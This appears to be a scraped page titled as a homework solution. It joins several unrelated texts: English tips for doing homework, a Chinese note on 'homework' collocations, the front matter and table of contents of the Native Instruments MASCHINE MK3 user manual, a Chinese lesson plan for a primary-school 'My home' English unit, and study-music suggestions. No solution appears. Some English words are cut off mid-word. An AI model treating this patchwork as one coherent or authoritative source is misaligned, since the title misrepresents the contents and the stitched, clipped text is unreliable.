Homework-8-f10_Sol
回家就写作业英语
When you get home,you should immediately start working on your homework. Here are some steps to follow:1.Prepare a Comfortable Environment:Find a quiet and welllit space where you can focus without distractions.anize Your Materials:Gather all the necessary textbooks,notebooks,and stationery you need before you start.3.Plan Your Time:Look at the assignments you have and estimate how long each will take.Prioritize them based on deadlines or difficulty.4.Start with the Most Challenging Task:Tackle the most difficult or timeconsuming homework first while your energy levels are high.5.Take Regular Breaks:Short breaks can help maintain focus and prevent e the Pomodoro Technique,which involves working for25minutes followed by a5minute break.6.Stay Hydrated and Nourished:Keep a glass of water and some healthy snacks nearby to maintain your energy levels.e Tools and Resources:If youre stuck on a problem,dont hesitate to use online resources,dictionaries,or textbooks to find answers.8.Review Your Work:After completing an assignment,review it to check for errors or areas that could be improved.9.Ask for Help:If youre struggling with a particular topic,dont be afraid to ask your parents,teachers,or classmates for help.10.Stay Consistent:Make it a habit to do your homework as soon as you get home. Consistency will make it easier over time.Remember,the key to effective homework completion is organization,focus,and a positive attitude towards learning.。
homework的用法和搭配
homework的用法和搭配一、homework的含义与作用在学生的日常学习中，homework是一个常见的词汇。
它可以指代老师布置给学生在家完成的任务，也可以包括课外阅读、练习题或复习等活动。
作为教育系统中不可或缺的环节之一，做好homework对于学生个人发展和提升学业成绩具有重要意义。
1.1 提高自主学习能力完成homework需要学生在独立思考和解决问题方面付出努力。
通过独自处理问题并找到正确答案，他们培养了自主学习的能力。
这种能力使得学生更加独立，自信地应对各种挑战，并为将来的职业生涯做好准备。
1.2 强化概念理解和知识掌握通过consistently坚持做homework，学生有机会巩固他们在课堂上所学到的知识。
通过反复练习和应用，他们更容易掌握各种概念，并建立起良好的基础知识体系。
这将有助于他们更深入地理解所学内容，并在考试或其他评估中表现出色。
1.3 培养时间管理和组织技能homework可以帮助学生学会合理安排时间，并培养出良好的自我管理和组织能力。
通过完成deadline，学生将逐渐知晓如何高效地规划自己的工作和任务。
二、homework的搭配用法2.1 做（do）homework这是最常见的表达方式。
当老师布置了一项任务后，学生需要回家做（do）他们的homework。
这意味着他们需要在规定的时间内完成该项任务，并尽力解答问题或完成相应内容。
2.2 完成（finish）homework这是指学生确保所有作业都已经被正确完成的意思。
无论是写作业、做数学题还是准备演讲稿等，当学生把所有要求都满足并按时交给老师时，我们可以说他们已经完成（finish）了他们的homework。
2.3 交（hand in）homework当同学们做完了功课后，他们需要将其交给老师进行批改和评估。
在这种情况下，我们可使用动词短语“hand in”来描述此过程。
也有一些老师采用电子形式收取作业，那么可以使用“submit”或“submit the homework”。
Native Instruments MASCHINE MK3 用户手册说明书
The information in this document is subject to change without notice and does not represent a commitment on the part of Native Instruments GmbH. The software described by this docu-ment is subject to a License Agreement and may not be copied to other media. No part of this publication may be copied, reproduced or otherwise transmitted or recorded, for any purpose, without prior written permission by Native Instruments GmbH, hereinafter referred to as Native Instruments.“Native Instruments”, “NI” and associated logos are (registered) trademarks of Native Instru-ments GmbH.ASIO, VST, HALion and Cubase are registered trademarks of Steinberg Media Technologies GmbH.All other product and company names are trademarks™ or registered® trademarks of their re-spective holders. Use of them does not imply any affiliation with or endorsement by them.Document authored by: David Gover and Nico Sidi.Software version: 2.8 (02/2019)Hardware version: MASCHINE MK3Special thanks to the Beta Test Team, who were invaluable not just in tracking down bugs, but in making this a better product.NATIVE INSTRUMENTS GmbH Schlesische Str. 29-30D-10997 Berlin Germanywww.native-instruments.de NATIVE INSTRUMENTS North America, Inc. 6725 Sunset Boulevard5th FloorLos Angeles, CA 90028USANATIVE INSTRUMENTS K.K.YO Building 3FJingumae 6-7-15, Shibuya-ku, Tokyo 150-0001Japanwww.native-instruments.co.jp NATIVE INSTRUMENTS UK Limited 18 Phipp StreetLondon EC2A 4NUUKNATIVE INSTRUMENTS FRANCE SARL 113 Rue Saint-Maur75011 ParisFrance SHENZHEN NATIVE INSTRUMENTS COMPANY Limited 5F, Shenzhen Zimao Center111 Taizi Road, Nanshan District, Shenzhen, GuangdongChina© NATIVE INSTRUMENTS GmbH, 2019. All rights reserved.Table of Contents1Welcome to MASCHINE (25)1.1MASCHINE Documentation (26)1.2Document Conventions (27)1.3New Features in MASCHINE 2.8 (29)1.4New Features in MASCHINE 2.7.10 (31)1.5New Features in MASCHINE 2.7.8 (31)1.6New Features in MASCHINE 2.7.7 (32)1.7New Features in MASCHINE 2.7.4 (33)1.8New Features in MASCHINE 2.7.3 (36)2Quick Reference (38)2.1Using Your Controller (38)2.1.1Controller Modes and Mode Pinning (38)2.1.2Controlling the Software Views from Your Controller (40)2.2MASCHINE Project Overview (43)2.2.1Sound Content (44)2.2.2Arrangement (45)2.3MASCHINE Hardware Overview (48)2.3.1MASCHINE Hardware Overview (48)2.3.1.1Control Section (50)2.3.1.2Edit Section (53)2.3.1.3Performance Section (54)2.3.1.4Group Section (56)2.3.1.5Transport Section (56)2.3.1.6Pad Section (58)2.3.1.7Rear Panel (63)2.4MASCHINE Software Overview (65)2.4.1Header (66)2.4.2Browser (68)2.4.3Arranger (70)2.4.4Control Area (73)2.4.5Pattern Editor (74)3Basic Concepts (76)3.1Important Names and Concepts (76)3.2Adjusting the MASCHINE User Interface (79)3.2.1Adjusting the Size of the Interface (79)3.2.2Switching between Ideas View and Song View (80)3.2.3Showing/Hiding the Browser (81)3.2.4Showing/Hiding the Control Lane (81)3.3Common Operations (82)3.3.1Using the 4-Directional Push Encoder (82)3.3.2Pinning a Mode on the Controller (83)3.3.3Adjusting Volume, Swing, and Tempo (84)3.3.4Undo/Redo (87)3.3.5List Overlay for Selectors (89)3.3.6Zoom and Scroll Overlays (90)3.3.7Focusing on a Group or a Sound (91)3.3.8Switching Between the Master, Group, and Sound Level (96)3.3.9Navigating Channel Properties, Plug-ins, and Parameter Pages in the Control Area.973.3.9.1Extended Navigate Mode on Your Controller (102)3.3.10Navigating the Software Using the Controller (105)3.3.11Using Two or More Hardware Controllers (106)3.3.12Touch Auto-Write Option (108)3.4Native Kontrol Standard (110)3.5Stand-Alone and Plug-in Mode (111)3.5.1Differences between Stand-Alone and Plug-in Mode (112)3.5.2Switching Instances (113)3.5.3Controlling Various Instances with Different Controllers (114)3.6Host Integration (114)3.6.1Setting up Host Integration (115)3.6.1.1Setting up Ableton Live (macOS) (115)3.6.1.2Setting up Ableton Live (Windows) (116)3.6.1.3Setting up Apple Logic Pro X (116)3.6.2Integration with Ableton Live (117)3.6.3Integration with Apple Logic Pro X (119)3.7Preferences (120)3.7.1Preferences – General Page (121)3.7.2Preferences – Audio Page (126)3.7.3Preferences – MIDI Page (130)3.7.4Preferences – Default Page (133)3.7.5Preferences – Library Page (137)3.7.6Preferences – Plug-ins Page (145)3.7.7Preferences – Hardware Page (150)3.7.8Preferences – Colors Page (154)3.8Integrating MASCHINE into a MIDI Setup (156)3.8.1Connecting External MIDI Equipment (156)3.8.2Sync to External MIDI Clock (157)3.8.3Send MIDI Clock (158)3.9Syncing MASCHINE using Ableton Link (159)3.9.1Connecting to a Network (159)3.9.2Joining and Leaving a Link Session (159)3.10Using a Pedal with the MASCHINE Controller (160)3.11File Management on the MASCHINE Controller (161)4Browser (163)4.1Browser Basics (163)4.1.1The MASCHINE Library (163)4.1.2Browsing the Library vs. Browsing Your Hard Disks (164)4.2Searching and Loading Files from the Library (165)4.2.1Overview of the Library Pane (165)4.2.2Selecting or Loading a Product and Selecting a Bank from the Browser (170)4.2.2.1[MK3] Browsing by Product Category Using the Controller (174)4.2.2.2[MK3] Browsing by Product Vendor Using the Controller (174)4.2.3Selecting a Product Category, a Product, a Bank, and a Sub-Bank (175)4.2.3.1Selecting a Product Category, a Product, a Bank, and a Sub-Bank on theController (179)4.2.4Selecting a File Type (180)4.2.5Choosing Between Factory and User Content (181)4.2.6Selecting Type and Character Tags (182)4.2.7List and Tag Overlays in the Browser (186)4.2.8Performing a Text Search (188)4.2.9Loading a File from the Result List (188)4.3Additional Browsing Tools (193)4.3.1Loading the Selected Files Automatically (193)4.3.2Auditioning Instrument Presets (195)4.3.3Auditioning Samples (196)4.3.4Loading Groups with Patterns (197)4.3.5Loading Groups with Routing (198)4.3.6Displaying File Information (198)4.4Using Favorites in the Browser (199)4.5Editing the Files’ Tags and Properties (203)4.5.1Attribute Editor Basics (203)4.5.2The Bank Page (205)4.5.3The Types and Characters Pages (205)4.5.4The Properties Page (208)4.6Loading and Importing Files from Your File System (209)4.6.1Overview of the FILES Pane (209)4.6.2Using Favorites (211)4.6.3Using the Location Bar (212)4.6.4Navigating to Recent Locations (213)4.6.5Using the Result List (214)4.6.6Importing Files to the MASCHINE Library (217)4.7Locating Missing Samples (219)4.8Using Quick Browse (221)5Managing Sounds, Groups, and Your Project (225)5.1Overview of the Sounds, Groups, and Master (225)5.1.1The Sound, Group, and Master Channels (226)5.1.2Similarities and Differences in Handling Sounds and Groups (227)5.1.3Selecting Multiple Sounds or Groups (228)5.2Managing Sounds (233)5.2.1Loading Sounds (235)5.2.2Pre-listening to Sounds (236)5.2.3Renaming Sound Slots (237)5.2.4Changing the Sound’s Color (237)5.2.5Saving Sounds (239)5.2.6Copying and Pasting Sounds (241)5.2.7Moving Sounds (244)5.2.8Resetting Sound Slots (245)5.3Managing Groups (247)5.3.1Creating Groups (248)5.3.2Loading Groups (249)5.3.3Renaming Groups (251)5.3.4Changing the Group’s Color (251)5.3.5Saving Groups (253)5.3.6Copying and Pasting Groups (255)5.3.7Reordering Groups (258)5.3.8Deleting Groups (259)5.4Exporting MASCHINE Objects and Audio (260)5.4.1Saving a Group with its Samples (261)5.4.2Saving a Project with its Samples (262)5.4.3Exporting Audio (264)5.5Importing Third-Party File Formats (270)5.5.1Loading REX Files into Sound Slots (270)5.5.2Importing MPC Programs to Groups (271)6Playing on the Controller (275)6.1Adjusting the Pads (275)6.1.1The Pad View in the Software (275)6.1.2Choosing a Pad Input Mode (277)6.1.3Adjusting the Base Key (280)6.1.4Using Choke Groups (282)6.1.5Using Link Groups (284)6.2Adjusting the Key, Choke, and Link Parameters for Multiple Sounds (286)6.3Playing Tools (287)6.3.1Mute and Solo (288)6.3.2Choke All Notes (292)6.3.3Groove (293)6.3.4Level, Tempo, Tune, and Groove Shortcuts on Your Controller (295)6.3.5Tap Tempo (299)6.4Performance Features (300)6.4.1Overview of the Perform Features (300)6.4.2Selecting a Scale and Creating Chords (303)6.4.3Scale and Chord Parameters (303)6.4.4Creating Arpeggios and Repeated Notes (316)6.4.5Swing on Note Repeat / Arp Output (321)6.5Using Lock Snapshots (322)6.5.1Creating a Lock Snapshot (322)6.5.2Using Extended Lock (323)6.5.3Updating a Lock Snapshot (323)6.5.4Recalling a Lock Snapshot (324)6.5.5Morphing Between Lock Snapshots (324)6.5.6Deleting a Lock Snapshot (325)6.5.7Triggering Lock Snapshots via MIDI (326)6.6Using the Smart Strip (327)6.6.1Pitch Mode (328)6.6.2Modulation Mode (328)6.6.3Perform Mode (328)6.6.4Notes Mode (329)7Working with Plug-ins (330)7.1Plug-in Overview (330)7.1.1Plug-in Basics (330)7.1.2First Plug-in Slot of Sounds: Choosing the Sound’s Role (334)7.1.3Loading, Removing, and Replacing a Plug-in (335)7.1.3.1Browser Plug-in Slot Selection (341)7.1.4Adjusting the Plug-in Parameters (344)7.1.5Bypassing Plug-in Slots (344)7.1.6Using Side-Chain (346)7.1.7Moving Plug-ins (346)7.1.8Alternative: the Plug-in Strip (348)7.1.9Saving and Recalling Plug-in Presets (348)7.1.9.1Saving Plug-in Presets (349)7.1.9.2Recalling Plug-in Presets (350)7.1.9.3Removing a Default Plug-in Preset (351)7.2The Sampler Plug-in (352)7.2.1Page 1: Voice Settings / Engine (354)7.2.2Page 2: Pitch / Envelope (356)7.2.3Page 3: FX / Filter (359)7.2.4Page 4: Modulation (361)7.2.5Page 5: LFO (363)7.2.6Page 6: Velocity / Modwheel (365)7.3Using Native Instruments and External Plug-ins (367)7.3.1Opening/Closing Plug-in Windows (367)7.3.2Using the VST/AU Plug-in Parameters (370)7.3.3Setting Up Your Own Parameter Pages (371)7.3.4Using VST/AU Plug-in Presets (376)7.3.5Multiple-Output Plug-ins and Multitimbral Plug-ins (378)8Using the Audio Plug-in (380)8.1Loading a Loop into the Audio Plug-in (384)8.2Editing Audio in the Audio Plug-in (385)8.3Using Loop Mode (386)8.4Using Gate Mode (388)9Using the Drumsynths (390)9.1Drumsynths – General Handling (391)9.1.1Engines: Many Different Drums per Drumsynth (391)9.1.2Common Parameter Organization (391)9.1.3Shared Parameters (394)9.1.4Various Velocity Responses (394)9.1.5Pitch Range, Tuning, and MIDI Notes (394)9.2The Kicks (395)9.2.1Kick – Sub (397)9.2.2Kick – Tronic (399)9.2.3Kick – Dusty (402)9.2.4Kick – Grit (403)9.2.5Kick – Rasper (406)9.2.6Kick – Snappy (407)9.2.7Kick – Bold (409)9.2.8Kick – Maple (411)9.2.9Kick – Push (412)9.3The Snares (414)9.3.1Snare – Volt (416)9.3.2Snare – Bit (418)9.3.3Snare – Pow (420)9.3.4Snare – Sharp (421)9.3.5Snare – Airy (423)9.3.6Snare – Vintage (425)9.3.7Snare – Chrome (427)9.3.8Snare – Iron (429)9.3.9Snare – Clap (431)9.3.10Snare – Breaker (433)9.4The Hi-hats (435)9.4.1Hi-hat – Silver (436)9.4.2Hi-hat – Circuit (438)9.4.3Hi-hat – Memory (440)9.4.4Hi-hat – Hybrid (442)9.4.5Creating a Pattern with Closed and Open Hi-hats (444)9.5The Toms (445)9.5.1Tom – Tronic (447)9.5.2Tom – Fractal (449)9.5.3Tom – Floor (453)9.5.4Tom – High (455)9.6The Percussions (456)9.6.1Percussion – Fractal (458)9.6.2Percussion – Kettle (461)9.6.3Percussion – Shaker (463)9.7The Cymbals (467)9.7.1Cymbal – Crash (469)9.7.2Cymbal – Ride (471)10Using the Bass Synth (474)10.1Bass Synth – General Handling (475)10.1.1Parameter Organization (475)10.1.2Bass Synth Parameters (477)11Working with Patterns (479)11.1Pattern Basics (479)11.1.1Pattern Editor Overview (480)11.1.2Navigating the Event Area (486)11.1.3Following the Playback Position in the Pattern (488)11.1.4Jumping to Another Playback Position in the Pattern (489)11.1.5Group View and Keyboard View (491)11.1.6Adjusting the Arrange Grid and the Pattern Length (493)11.1.7Adjusting the Step Grid and the Nudge Grid (497)11.2Recording Patterns in Real Time (501)11.2.1Recording Your Patterns Live (501)11.2.2The Record Prepare Mode (504)11.2.3Using the Metronome (505)11.2.4Recording with Count-in (506)11.2.5Quantizing while Recording (508)11.3Recording Patterns with the Step Sequencer (508)11.3.1Step Mode Basics (508)11.3.2Editing Events in Step Mode (511)11.3.3Recording Modulation in Step Mode (513)11.4Editing Events (514)11.4.1Editing Events with the Mouse: an Overview (514)11.4.2Creating Events/Notes (517)11.4.3Selecting Events/Notes (518)11.4.4Editing Selected Events/Notes (526)11.4.5Deleting Events/Notes (532)11.4.6Cut, Copy, and Paste Events/Notes (535)11.4.7Quantizing Events/Notes (538)11.4.8Quantization While Playing (540)11.4.9Doubling a Pattern (541)11.4.10Adding Variation to Patterns (541)11.5Recording and Editing Modulation (546)11.5.1Which Parameters Are Modulatable? (547)11.5.2Recording Modulation (548)11.5.3Creating and Editing Modulation in the Control Lane (550)11.6Creating MIDI Tracks from Scratch in MASCHINE (555)11.7Managing Patterns (557)11.7.1The Pattern Manager and Pattern Mode (558)11.7.2Selecting Patterns and Pattern Banks (560)11.7.3Creating Patterns (563)11.7.4Deleting Patterns (565)11.7.5Creating and Deleting Pattern Banks (566)11.7.6Naming Patterns (568)11.7.7Changing the Pattern’s Color (570)11.7.8Duplicating, Copying, and Pasting Patterns (571)11.7.9Moving Patterns (574)11.7.10Adjusting Pattern Length in Fine Increments (575)11.8Importing/Exporting Audio and MIDI to/from Patterns (576)11.8.1Exporting Audio from Patterns (576)11.8.2Exporting MIDI from Patterns (577)11.8.3Importing MIDI to Patterns (580)12Audio Routing, Remote Control, and Macro Controls (589)12.1Audio Routing in MASCHINE (590)12.1.1Sending External Audio to Sounds (591)12.1.2Configuring the Main Output of Sounds and Groups (596)12.1.3Setting Up Auxiliary Outputs for Sounds and Groups (601)12.1.4Configuring the Master and Cue Outputs of MASCHINE (605)12.1.5Mono Audio Inputs (610)12.1.5.1Configuring External Inputs for Sounds in Mix View (611)12.2Using MIDI Control and Host Automation (614)12.2.1Triggering Sounds via MIDI Notes (615)12.2.2Triggering Scenes via MIDI (622)12.2.3Controlling Parameters via MIDI and Host Automation (623)12.2.4Selecting VST/AU Plug-in Presets via MIDI Program Change (631)12.2.5Sending MIDI from Sounds (632)12.3Creating Custom Sets of Parameters with the Macro Controls (636)12.3.1Macro Control Overview (637)12.3.2Assigning Macro Controls Using the Software (638)12.3.3Assigning Macro Controls Using the Controller (644)13Controlling Your Mix (646)13.1Mix View Basics (646)13.1.1Switching between Arrange View and Mix View (646)13.1.2Mix View Elements (647)13.2The Mixer (649)13.2.1Displaying Groups vs. Displaying Sounds (650)13.2.2Adjusting the Mixer Layout (652)13.2.3Selecting Channel Strips (653)13.2.4Managing Your Channels in the Mixer (654)13.2.5Adjusting Settings in the Channel Strips (656)13.2.6Using the Cue Bus (660)13.3The Plug-in Chain (662)13.4The Plug-in Strip (663)13.4.1The Plug-in Header (665)13.4.2Panels for Drumsynths and Internal Effects (667)13.4.3Panel for the Sampler (668)13.4.4Custom Panels for Native Instruments Plug-ins (671)13.4.5Undocking a Plug-in Panel (Native Instruments and External Plug-ins Only) (675)13.5Controlling Your Mix from the Controller (677)13.5.1Navigating Your Channels in Mix Mode (678)13.5.2Adjusting the Level and Pan in Mix Mode (679)13.5.3Mute and Solo in Mix Mode (680)13.5.4Plug-in Icons in Mix Mode (680)14Using Effects (681)14.1Applying Effects to a Sound, a Group or the Master (681)14.1.1Adding an Effect (681)14.1.2Other Operations on Effects (690)14.1.3Using the Side-Chain Input (692)14.2Applying Effects to External Audio (695)14.2.1Step 1: Configure MASCHINE Audio Inputs (695)14.2.2Step 2: Set up a Sound to Receive the External Input (698)14.2.3Step 3: Load an Effect to Process an Input (700)14.3Creating a Send Effect (701)14.3.1Step 1: Set Up a Sound or Group as Send Effect (702)14.3.2Step 2: Route Audio to the Send Effect (706)14.3.3 A Few Notes on Send Effects (708)14.4Creating Multi-Effects (709)15Effect Reference (712)15.1Dynamics (713)15.1.1Compressor (713)15.1.2Gate (717)15.1.3Transient Master (721)15.1.4Limiter (723)15.1.5Maximizer (727)15.2Filtering Effects (730)15.2.1EQ (730)15.2.2Filter (733)15.2.3Cabinet (737)15.3Modulation Effects (738)15.3.1Chorus (738)15.3.2Flanger (740)15.3.3FM (742)15.3.4Freq Shifter (743)15.3.5Phaser (745)15.4Spatial and Reverb Effects (747)15.4.1Ice (747)15.4.2Metaverb (749)15.4.3Reflex (750)15.4.4Reverb (Legacy) (752)15.4.5Reverb (754)15.4.5.1Reverb Room (754)15.4.5.2Reverb Hall (757)15.4.5.3Plate Reverb (760)15.5Delays (762)15.5.1Beat Delay (762)15.5.2Grain Delay (765)15.5.3Grain Stretch (767)15.5.4Resochord (769)15.6Distortion Effects (771)15.6.1Distortion (771)15.6.2Lofi (774)15.6.3Saturator (775)15.7Perform FX (779)15.7.1Filter (780)15.7.2Flanger (782)15.7.3Burst Echo (785)15.7.4Reso Echo (787)15.7.5Ring (790)15.7.6Stutter (792)15.7.7Tremolo (795)15.7.8Scratcher (798)16Working with the Arranger (801)16.1Arranger Basics (801)16.1.1Navigating Song View (804)16.1.2Following the Playback Position in Your Project (806)16.1.3Performing with Scenes and Sections using the Pads (807)16.2Using Ideas View (811)16.2.1Scene Overview (811)16.2.2Creating Scenes (813)16.2.3Assigning and Removing Patterns (813)16.2.4Selecting Scenes (817)16.2.5Deleting Scenes (818)16.2.6Creating and Deleting Scene Banks (820)16.2.7Clearing Scenes (820)16.2.8Duplicating Scenes (821)16.2.9Reordering Scenes (822)16.2.10Making Scenes Unique (824)16.2.11Appending Scenes to Arrangement (825)16.2.12Naming Scenes (826)16.2.13Changing the Color of a Scene (827)16.3Using Song View (828)16.3.1Section Management Overview (828)16.3.2Creating Sections (833)16.3.3Assigning a Scene to a Section (834)16.3.4Selecting Sections and Section Banks (835)16.3.5Reorganizing Sections (839)16.3.6Adjusting the Length of a Section (840)16.3.6.1Adjusting the Length of a Section Using the Software (841)16.3.6.2Adjusting the Length of a Section Using the Controller (843)16.3.7Clearing a Pattern in Song View (843)16.3.8Duplicating Sections (844)16.3.8.1Making Sections Unique (845)16.3.9Removing Sections (846)16.3.10Renaming Scenes (848)16.3.11Clearing Sections (849)16.3.12Creating and Deleting Section Banks (850)16.3.13Working with Patterns in Song view (850)16.3.13.1Creating a Pattern in Song View (850)16.3.13.2Selecting a Pattern in Song View (850)16.3.13.3Clearing a Pattern in Song View (851)16.3.13.4Renaming a Pattern in Song View (851)16.3.13.5Coloring a Pattern in Song View (851)16.3.13.6Removing a Pattern in Song View (852)16.3.13.7Duplicating a Pattern in Song View (852)16.3.14Enabling Auto Length (852)16.3.15Looping (853)16.3.15.1Setting the Loop Range in the Software (854)16.4Playing with Sections (855)16.4.1Jumping to another Playback Position in Your Project (855)16.5Triggering Sections or Scenes via MIDI (856)16.6The Arrange Grid (858)16.7Quick Grid (860)17Sampling and Sample Mapping (862)17.1Opening the Sample Editor (862)17.2Recording Audio (863)17.2.1Opening the Record Page (863)17.2.2Selecting the Source and the Recording Mode (865)17.2.3Arming, Starting, and Stopping the Recording (868)17.2.5Using the Footswitch for Recording Audio (871)17.2.6Checking Your Recordings (872)17.2.7Location and Name of Your Recorded Samples (876)17.3Editing a Sample (876)17.3.1Using the Edit Page (877)17.3.2Audio Editing Functions (882)17.4Slicing a Sample (890)17.4.1Opening the Slice Page (891)17.4.2Adjusting the Slicing Settings (893)17.4.3Live Slicing (898)17.4.3.1Live Slicing Using the Controller (898)17.4.3.2Delete All Slices (899)17.4.4Manually Adjusting Your Slices (899)17.4.5Applying the Slicing (906)17.5Mapping Samples to Zones (912)17.5.1Opening the Zone Page (912)17.5.2Zone Page Overview (913)17.5.3Selecting and Managing Zones in the Zone List (915)17.5.4Selecting and Editing Zones in the Map View (920)17.5.5Editing Zones in the Sample View (924)17.5.6Adjusting the Zone Settings (927)17.5.7Adding Samples to the Sample Map (934)18Appendix: Tips for Playing Live (937)18.1Preparations (937)18.1.1Focus on the Hardware (937)18.1.2Customize the Pads of the Hardware (937)18.1.3Check Your CPU Power Before Playing (937)18.1.4Name and Color Your Groups, Patterns, Sounds and Scenes (938)18.1.5Consider Using a Limiter on Your Master (938)18.1.6Hook Up Your Other Gear and Sync It with MIDI Clock (938)18.1.7Improvise (938)18.2Basic Techniques (938)18.2.1Use Mute and Solo (938)18.2.2Use Scene Mode and Tweak the Loop Range (939)18.2.3Create Variations of Your Drum Patterns in the Step Sequencer (939)18.2.4Use Note Repeat (939)18.2.5Set Up Your Own Multi-effect Groups and Automate Them (939)18.3Special Tricks (940)18.3.1Changing Pattern Length for Variation (940)18.3.2Using Loops to Cycle Through Samples (940)18.3.3Using Loops to Cycle Through Samples (940)18.3.4Load Long Audio Files and Play with the Start Point (940)19Troubleshooting (941)19.1Knowledge Base (941)19.2Technical Support (941)19.3Registration Support (942)19.4User Forum (942)20Glossary (943)Index (951)1Welcome to MASCHINEThank you for buying MASCHINE!MASCHINE is a groove production studio that implements the familiar working style of classi-cal groove boxes along with the advantages of a computer based system. MASCHINE is ideal for making music live, as well as in the studio. It’s the hands-on aspect of a dedicated instru-ment, the MASCHINE hardware controller, united with the advanced editing features of the MASCHINE software.Creating beats is often not very intuitive with a computer, but using the MASCHINE hardware controller to do it makes it easy and fun. You can tap in freely with the pads or use Note Re-peat to jam along. Alternatively, build your beats using the step sequencer just as in classic drum machines.Patterns can be intuitively combined and rearranged on the fly to form larger ideas. You can try out several different versions of a song without ever having to stop the music.Since you can integrate it into any sequencer that supports VST, AU, or AAX plug-ins, you can reap the benefits in almost any software setup, or use it as a stand-alone application. You can sample your own material, slice loops and rearrange them easily.However, MASCHINE is a lot more than an ordinary groovebox or sampler: it comes with an inspiring 7-gigabyte library, and a sophisticated, yet easy to use tag-based Browser to give you instant access to the sounds you are looking for.What’s more, MASCHINE provides lots of options for manipulating your sounds via internal ef-fects and other sound-shaping possibilities. You can also control external MIDI hardware and 3rd-party software with the MASCHINE hardware controller, while customizing the functions of the pads, knobs and buttons according to your needs utilizing the included Controller Editor application. We hope you enjoy this fantastic instrument as much as we do. Now let’s get go-ing!—The MASCHINE team at Native Instruments.MASCHINE Documentation1.1MASCHINE DocumentationNative Instruments provide many information sources regarding MASCHINE. The main docu-ments should be read in the following sequence:1.MASCHINE Getting Started: This document provides a practical approach to MASCHINE viaa set of tutorials covering easy and more advanced tasks in order to help you familiarizeyourself with MASCHINE.2.MASCHINE Manual (this document): The MASCHINE Manual provides you with a compre-hensive description of all MASCHINE software and hardware features.Additional documentation sources provide you with details on more specific topics:▪Controller Editor Manual: Besides using your MASCHINE hardware controller together withits dedicated MASCHINE software, you can also use it as a powerful and highly versatileMIDI controller to pilot any other MIDI-capable application or device. This is made possibleby the Controller Editor software, an application that allows you to precisely define all MIDIassignments for your MASCHINE controller. The Controller Editor was installed during theMASCHINE installation procedure. For more information on this, please refer to the Con-troller Editor Manual available as a PDF file via the Help menu of Controller Editor.▪Online Support Videos: You can find a number of support videos on The Official Native In-struments Support Channel under the following URL: https:///NIsupport-EN. We recommend that you follow along with these instructions while the respective ap-plication is running on your computer.Other Online Resources:If you are experiencing problems related to your Native Instruments product that the supplied documentation does not cover, there are several ways of getting help:▪Knowledge Base▪User Forum▪Technical Support▪Registration SupportYou will find more information on these subjects in the chapter Troubleshooting.1.2Document ConventionsThis section introduces you to the signage and text highlighting used in this manual. This man-ual uses particular formatting to point out special facts and to warn you of potential issues. The icons introducing these notes let you see what kind of information is to be expected:This document uses particular formatting to point out special facts and to warn you of poten-tial issues. The icons introducing the following notes let you see what kind of information can be expected:Furthermore, the following formatting is used:▪Text appearing in (drop-down) menus (such as Open…, Save as… etc.) in the software and paths to locations on your hard disk or other storage devices is printed in italics.▪Text appearing elsewhere (labels of buttons, controls, text next to checkboxes etc.) in the software is printed in blue. Whenever you see this formatting applied, you will find the same text appearing somewhere on the screen.▪Text appearing on the displays of the controller is printed in light grey. Whenever you see this formatting applied, you will find the same text on a controller display.▪Text appearing on labels of the hardware controller is printed in orange. Whenever you see this formatting applied, you will find the same text on the controller.▪Important names and concepts are printed in bold.▪References to keys on your computer’s keyboard you’ll find put in square brackets (e.g.,“Press [Shift] + [Enter]”).►Single instructions are introduced by this play button type arrow.→Results of actions are introduced by this smaller arrow.Naming ConventionThroughout the documentation we will refer to MASCHINE controller (or just controller) as the hardware controller and MASCHINE software as the software installed on your computer.The term “effect” will sometimes be abbreviated as “FX” when referring to elements in the MA-SCHINE software and hardware. These terms have the same meaning.Button Combinations and Shortcuts on Your ControllerMost instructions will use the “+” sign to indicate buttons (or buttons and pads) that must be pressed simultaneously, starting with the button indicated first. E.g., an instruction such as:“Press SHIFT + PLAY”means:1.Press and hold SHIFT.2.While holding SHIFT, press PLAY and release it.3.Release SHIFT.Unlabeled Buttons on the ControllerThe buttons and knobs above and below the displays on your MASCHINE controller do not have labels.。
《Unit4Myhome》作业设计方案-小学英语人教PEP版四年级上册
《My home》作业设计方案（第一课时）一、作业目标本课时的作业设计旨在巩固学生对家庭成员及家庭物品的英语单词认识，提高学生的英语听说能力和语言表达能力，以及通过趣味性的任务设计激发学生的学习兴趣。
二、作业内容（一）听力和单词识记练习学生需要在家听录制的英语对话和课文内容，识别和跟读“my home”中的核心词汇和短句。
要求每个家庭成员参与其中，增加学习互动性和家庭共学体验。
同时，准备一个词汇表，其中包括父母、爷爷奶奶、家具和日常用品等英语单词，学生需能够认读并书写。
（二）情景角色扮演设计一个家庭情景模拟的对话活动，例如让学生分别扮演不同的家庭成员角色，在对话中用到“I am your…”、“I have a…”等句型。
目的是锻炼学生在实际情景中运用英语的能力。
（三）制作家庭树使用图画和英语单词，制作一个包含家庭成员信息的家庭树。
例如：Father, Mother, Me 等单词可以标注在对应的分支上。
同时可以结合家中的物品进行简单描述，如“I have a bed, it’s big and soft.”等。
（四）绘画日记让学生根据对《My home》这课所学的英语单词绘制一张彩色插画。
鼓励学生运用自己的想象力进行创作，并将自己在家里和家庭成员间的故事简短描述于旁边。
三、作业要求（一）完成时间：作业需在放学后至次日上课前完成。
（二）任务落实：要求学生在家长陪伴下共同完成听力和对话的练习。
家长可以帮助孩子理解和加深单词的掌握情况。
（三）准确记录：绘画日记应确保字迹清晰、用词准确，并在家长的指导下适当进行英文单词的使用。
（四）及时提交：作业需按时提交至教师处，不得拖延或遗漏。
四、作业评价教师将根据学生提交的作业进行批改和评价，包括单词识记的准确性、对话表达的流畅性、绘画日记的创意和英文使用情况等。
对于表现优秀的学生给予表扬和鼓励；对于出现错误的学生，教师将及时指出并给予指导，帮助其改正错误。
五、作业反馈教师将根据学生的作业完成情况进行针对性的反馈和指导，通过课堂讲解或小组讨论的形式进行知识的巩固和扩展。
写作业必备音乐推荐英语
写作业必备音乐推荐英语1. Classical Music: 古典音乐以其结构严谨和节奏稳定而著称，有助于集中注意力。
推荐如贝多芬的《月光奏鸣曲》或莫扎特的《小夜曲》。
2. Jazz: 爵士乐的即兴和节奏变化可以激发创造力，适合需要思考和创新的作业。
推荐如Miles Davis的《Kind of Blue》。
3. Ambient Music: 环境音乐通常没有歌词，可以减少干扰，帮助放松。
推荐Brian Eno的专辑《Music for Airports》。
4. Instrumental Soundtracks: 电影配乐通常情感丰富，可以激发灵感。
推荐Hans Zimmer的《Interstellar》原声带。
5. Soft Rock: 轻柔的摇滚乐可以提供舒适的背景音乐，不会分散注意力。
推荐The Beatles的《Let It Be》。
